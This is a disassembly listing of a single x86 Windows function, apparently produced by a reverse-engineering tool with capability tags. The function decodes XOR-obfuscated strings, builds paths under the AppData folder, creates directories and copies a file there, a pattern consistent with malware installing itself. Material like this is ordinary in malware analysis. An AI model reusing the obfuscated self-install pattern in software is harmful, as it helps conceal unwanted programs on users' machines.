Function at 0x40f6a0
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x505c2a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1f8
push ebx
push esi
push edi
mov dword [ebp - 0x2c], ecx
push 0x104
lea eax, [ebp - 0x200]
mov dword [ebp - 4], 1
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x200]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor eax, eax
mov word [ebp - 0xf], 0x5c
lea ecx, [ebp - 0xf]
mov byte [ebp - 0xd], 0
mov dword [ebp - 0xa8], eax
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f730
sub ecx, edx
lea eax, [ebp - 0xf]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00402ae0
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x200]
lea ecx, [ebp - 0xf4]
call fcn.0046e530
add esp, 4
lea ecx, [ebp + 8]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.0046a4f0
mov edx, eax
xor eax, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x60], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x54], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x50], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x4c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xe0]
cmp ecx, 0x10
jb 0x40f7ff
mov edx, dword [ebp - 0xf4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f7f5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104db
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x40f858
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f84e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104db
push ecx
push edx
call fcn.004df511
add esp, 8
cmp dword [ebp - 0x4c], 0x10
lea esi, [ebp - 0x60]
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
jb 0x40f87f
mov esi, dword [ebp - 0x60]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x4104e0
test esi, esi
je 0x4103fd
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f8a1
sub ecx, edx
je 0x4103fd
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x40f8dc
call edi
cmp eax, 0x44
je 0x40f8dc
cmp eax, 0x20
je 0x40f8dc
cmp eax, 0x45
je 0x40f8dc
cmp eax, 0x24
jne 0x4103fd
push 0x5374a0
call fcn.004de823
add esp, 4
mov dword [ebp - 0x1d], 0x9b9782a8
mov dword [ebp - 0x19], 0xd58e9c94
xor ecx, ecx
mov dword [ebp - 0x15], 0x8a9c98
mov byte [ebp - 0x11], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xb
jb 0x40f904
sub esp, 0x18
mov byte [ebp - 0x11], 0
mov esi, esp
lea ecx, [ebp - 0x1d]
mov dword [ebp - 0x10], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f924
mov ebx, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x50]
mov eax, ebx
sub eax, edx
cmp eax, ecx
jb 0x4104e6
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
jb 0x40f94d
mov eax, dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
mov ecx, esi
call fcn.004720e0
call fcn.0040a600
add esp, 0x18
test al, al
je 0x40fdd9
lea ecx, [ebp - 0xf]
mov word [ebp - 0xf], 0x5c
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f980
sub ecx, edx
mov eax, ebx
mov edx, dword [ebp + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x4104eb
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
jb 0x40f9a4
mov eax, dword [ebp + 0x20]
push ecx
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x90]
call fcn.004720e0
mov byte [ebp - 4], 7
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov esi, dword [ebp + 0x18]
jb 0x40f9cd
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x7c]
mov eax, edx
mov edi, dword [ebp - 0x80]
sub eax, edi
cmp esi, eax
ja 0x40fa14
lea eax, [esi + edi]
mov dword [ebp - 0x80], eax
lea ebx, [ebp - 0x90]
cmp edx, 0x10
jb 0x40f9f2
mov ebx, dword [ebp - 0x90]
push esi
lea eax, [ebx + edi]
push ecx
push eax
call fcn.004e0f70
lea eax, [ebx + esi]
add esp, 0xc
mov byte [eax + edi], 0
lea ecx, [ebp - 0x90]
mov ebx, closesocket
jmp 0x40fa2b
push esi
push ecx
mov byte [ebp - 0x10], 0
lea ecx, [ebp - 0x90]
push dword [ebp - 0x10]
push esi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov eax, dword [ecx]
mov dword [ebp - 0x78], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x74], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x70], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x6c], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x68], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x64], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x40faae
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40faa4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104f0
push ecx
push edx
call fcn.004df511
add esp, 8
cmp dword [ebp - 0x64], 0x10
lea esi, [ebp - 0x78]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
jb 0x40facf
mov esi, dword [ebp - 0x78]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x4104f5
test esi, esi
je 0x40fb32
mov ecx, esi
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40faf0
sub ecx, edx
je 0x40fb32
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fb23
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0x44
je 0x40fb23
cmp eax, 0x20
je 0x40fb23
cmp eax, 0x45
je 0x40fb23
cmp eax, 0x24
jne 0x40fb32
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x40fb5c
push 0x5374a0
call fcn.004de823
add esp, 4
lea eax, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
jb 0x40fb4b
mov eax, dword [ebp - 0x78]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fd9b
mov dword [ebp - 0x1d], 0x9b9782a8
xor ecx, ecx
mov dword [ebp - 0x19], 0xd58e9c94
mov dword [ebp - 0x15], 0x8a9c98
mov byte [ebp - 0x11], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xb
jb 0x40fb77
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fb90
sub ecx, edx
mov eax, ebx
mov edx, dword [ebp - 0x68]
sub eax, edx
cmp eax, ecx
jb 0x4104fb
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0x78]
jb 0x40fbb4
mov eax, dword [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xdc]
call fcn.004720e0
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0xdc]
cmp dword [ebp - 0xc8], 0x10
jb 0x40fbe3
mov esi, dword [ebp - 0xdc]
mov dword [ebp - 0x1d], 0x9b9782a8
xor ecx, ecx
mov dword [ebp - 0x19], 0xd58e9c94
mov dword [ebp - 0x15], 0x8a9c98
mov byte [ebp - 0x11], 1
mov edi, edi
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xb
jb 0x40fc00
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc18
sub ecx, edx
mov eax, ebx
mov edx, dword [ebp - 0x50]
sub eax, edx
cmp eax, ecx
jb 0x410500
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
jb 0x40fc3c
mov eax, dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xc4]
call fcn.004720e0
cmp dword [ebp - 0xb0], 0x10
lea eax, [ebp - 0xc4]
jb 0x40fc67
mov eax, dword [ebp - 0xc4]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0xb0]
mov esi, eax
cmp ecx, 0x10
jb 0x40fcad
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fca3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410505
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xc8]
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0xf
mov byte [ebp - 0xc4], 0
cmp ecx, 0x10
jb 0x40fd06
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fcfc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410505
push ecx
push edx
call fcn.004df511
add esp, 8
test esi, esi
je 0x40fd15
mov eax, dword [ebp - 0x2c]
mov byte [eax], 1
jmp 0x40fd9b
cmp dword [ebp - 0x64], 0x10
lea edx, [ebp - 0x78]
jb 0x40fd21
mov edx, dword [ebp - 0x78]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd40
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00402ae0
push ecx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.0040a750
mov byte [ebp - 4], 9
add esp, 4
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x40fd9b
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fd91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41050a
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x64]
cmp ecx, 0x10
jb 0x40fdd3
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fdc9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41050f
push ecx
push edx
call fcn.004df511
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1a], 0x9b9782a8
xor ecx, ecx
mov dword [ebp - 0x16], 0x888e9c94
mov word [ebp - 0x12], 0x100
nop
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 8
jb 0x40fdf0
lea ecx, [ebp - 0x1a]
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe08
sub ecx, edx
mov eax, ebx
mov edx, dword [ebp - 0x50]
sub eax, edx
cmp eax, ecx
jb 0x410514
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
jb 0x40fe2c
mov eax, dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x1a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xdc]
call fcn.004720e0
mov byte [ebp - 4], 0xc
lea esi, [ebp - 0xdc]
cmp dword [ebp - 0xc8], 0x10
jb 0x40fe5b
mov esi, dword [ebp - 0xdc]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x410519
test esi, esi
je 0x40febe
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe80
sub ecx, edx
je 0x40febe
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fead
call edi
cmp eax, 0x44
je 0x40fead
cmp eax, 0x20
je 0x40fead
cmp eax, 0x45
je 0x40fead
cmp eax, 0x24
jne 0x40febe
push 0x5374a0
call fcn.004de823
add esp, 4
mov bl, 1
jmp 0x40fecd
push 0x5374a0
call fcn.004de823
add esp, 4
xor bl, bl
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xc8]
cmp ecx, 0x10
jb 0x40ff0b
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ff01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41051f
push ecx
push edx
call fcn.004df511
add esp, 8
test bl, bl
je 0x41040a
lea ecx, [ebp - 0xf]
mov word [ebp - 0xf], 0x5c
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ff23
mov ebx, closesocket
sub ecx, edx
mov edx, dword [ebp + 0x30]
mov eax, ebx
sub eax, edx
cmp eax, ecx
jb 0x410524
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
jb 0x40ff4c
mov eax, dword [ebp + 0x20]
push ecx
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x90]
call fcn.004720e0
mov byte [ebp - 4], 0xd
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov esi, dword [ebp + 0x18]
jb 0x40ff75
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x7c]
mov eax, edx
mov edi, dword [ebp - 0x80]
sub eax, edi
cmp esi, eax
ja 0x40ffbc
lea eax, [edi + esi]
mov dword [ebp - 0x80], eax
lea ebx, [ebp - 0x90]
cmp edx, 0x10
jb 0x40ff9a
mov ebx, dword [ebp - 0x90]
push esi
lea eax, [ebx + edi]
push ecx
push eax
call fcn.004e0f70
lea eax, [esi + ebx]
add esp, 0xc
mov byte [eax + edi], 0
lea ecx, [ebp - 0x90]
mov ebx, closesocket
jmp 0x40ffd3
push esi
push ecx
mov byte [ebp - 0x10], 0
lea ecx, [ebp - 0x90]
push dword [ebp - 0x10]
push esi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ecx]
mov dword [ebp - 0x48], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x44], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x3c], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x34], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x410056
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41004c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410529
push ecx
push edx
call fcn.004df511
add esp, 8
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
jb 0x410077
mov esi, dword [ebp - 0x48]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x41052e
test esi, esi
je 0x4100ec
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410095
sub ecx, edx
je 0x4100ec
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4100d7
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0x44
je 0x4100c8
cmp eax, 0x20
je 0x4100c8
cmp eax, 0x45
je 0x4100c8
cmp eax, 0x24
jne 0x4100f2
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x41011c
push 0x5374a0
call fcn.004de823
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 4
jmp 0x41011c
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x5374a0
call fcn.004de823
add esp, 4
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
jb 0x41010b
mov eax, dword [ebp - 0x48]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4103c7
mov dword [ebp - 0x1a], 0x9b9782a8
xor ecx, ecx
mov dword [ebp - 0x16], 0x888e9c94
mov word [ebp - 0x12], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 8
jb 0x410132
lea ecx, [ebp - 0x1a]
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410150
sub ecx, edx
mov eax, ebx
mov edx, dword [ebp - 0x38]
sub eax, edx
cmp eax, ecx
jb 0x410534
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
jb 0x410174
mov eax, dword [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x1a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xc4]
call fcn.004720e0
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x4101be
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4101b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410549
push ecx
push edx
call fcn.004df511
add esp, 8
mov eax, dword [ebp - 0xc0]
lea esi, [ebp - 0x48]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x34], eax
cmp eax, 0x10
jb 0x4101fe
mov esi, ecx
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x410539
test esi, esi
je 0x41025c
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410220
sub ecx, edx
je 0x41025c
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41024d
call edi
cmp eax, 0x44
je 0x41024d
cmp eax, 0x20
je 0x41024d
cmp eax, 0x45
je 0x41024d
cmp eax, 0x24
jne 0x41025c
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x410286
push 0x5374a0
call fcn.004de823
add esp, 4
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
jb 0x410275
mov eax, dword [ebp - 0x48]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4103c7
sub esp, 0x18
mov byte [ebp - 0x2d], 0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x10
xor ecx, ecx
mov dword [ebp - 0x1a], 0x9b9782a8
mov dword [ebp - 0x16], 0x888e9c94
mov word [ebp - 0x12], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 8
jb 0x4102b5
sub esp, 0x18
mov byte [ebp - 0x11], 0
mov esi, esp
lea ecx, [ebp - 0x1a]
mov dword [ebp - 0xac], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4102d8
sub ecx, edx
mov edx, dword [ebp - 0x50]
sub ebx, edx
cmp ebx, ecx
jb 0x41053f
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
jb 0x4102fa
mov eax, dword [ebp - 0x60]
push ecx
lea edi, [ebp - 0x1a]
push edi
push edx
push eax
push ecx
push dword [ebp - 0xac]
mov ecx, esi
call fcn.004720e0
mov cl, byte [ebp - 0x2d]
mov byte [ebp - 4], 0xf
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x41032d
mov eax, dword [ebp - 0x2c]
mov byte [eax], 1
jmp 0x4103c7
cmp dword [ebp - 0x34], 0x10
lea edx, [ebp - 0x48]
jb 0x410339
mov edx, dword [ebp - 0x48]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410364
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xa8]
call fcn.00402ae0
push ecx
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x11
call fcn.0040a750
mov ecx, dword [ebp - 0x94]
add esp, 4
cmp ecx, 0x10
jb 0x4103c7
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4103bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410544
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x41040a
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4103f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410549
push ecx
push edx
call fcn.004df511
add esp, 8
jmp 0x41040a
push 0x5374a0
call fcn.004de823
add esp, 4
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41043e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410434
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41054e
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
cmp ecx, 0x10
jb 0x410484
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41047a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41054e
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x4104ca
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4104c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41054e
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e47b0
push eax
call fcn.004de4bb
call fcn.00402270
call fcn.00402270
call fcn.004e47b0
push eax
call fcn.004de4bb
call fcn.00402270
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.004e47b0
call fcn.00402270
call fcn.004e47b0
push eax
call fcn.004de4bb
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
int3